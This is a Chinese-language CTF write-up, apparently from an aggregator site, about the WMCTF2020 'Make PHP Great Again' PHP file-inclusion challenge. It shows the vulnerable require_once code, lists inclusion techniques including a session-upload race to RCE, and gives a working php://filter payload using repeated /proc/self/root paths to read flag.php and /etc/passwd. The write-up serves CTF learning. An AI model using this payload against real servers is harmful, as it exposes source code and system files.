BUUCTF:WMCTF2020]Make PHP Great Again --文件包含 --- require_once php7.4 的trick
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF:WMCTF2020]Make PHP Great Again --文件包含 --- require_once php7.4 的trick相关的知识,希望对你有一定的参考价值。
一、自己做:
代码简单,
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
用filter读取,能够读取到file=../../../../../etc/passwd
。用上filter等等,就是读取不到flag.php。
然后我就想到了之前的 文件包含漏洞的。那个上传一个文件,然后包含自己,使得PHP程序运行不完,然后临时文件就不会被销毁,然后就可以包含临时文件getshell了。
但是这里是require_once
。只是一次。就作罢了。
二、 学到的。不足:
-
那个
SESSION_UPLOAD_PROGRESS
也是可以进行文件包含的了。我当时总结的时候就没有成功,这里再试一次。这个看WP之后尝试成功了。 -
看到文件包含还是不敏感
- 最基础的,读取敏感文件, filter去读,都可
- 包含日志,这个最简单的
- 再就是这个用
PHP_SESSION_IPLOAD_PROGRESS
进行条件竞争,包含文件,实现RCE。 - PHP临时文件的销毁机制,自己包含自己。然后上传一个马儿,当作临时文件,然后包含之,
三、学习WP:
用 PHP_SESSION_UPLOAD_PROGRESS,文件包含
就是常规的那个文件包含,
再看 session.upload_progress。。文件包含,, +++ 临时文件包含, ++++ PHP7 的 segment fault。就行
php7.4的小trick。。equire_once 绕过不能重复包含文件的限制
详细解释看这里吧:https://www.anquanke.com/post/id/213235
直接给了payload的。
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
以上是关于BUUCTF:WMCTF2020]Make PHP Great Again --文件包含 --- require_once php7.4 的trick的主要内容,如果未能解决你的问题,请参考以下文章
如何将 JavaScript 放入 Laravel make:auth
make报错make: *** [sapi/cli/php] Error 1
php编译安装执行make时报错: make: *** [ext/fileinfo/libmagic/apprentice.lo] Error 1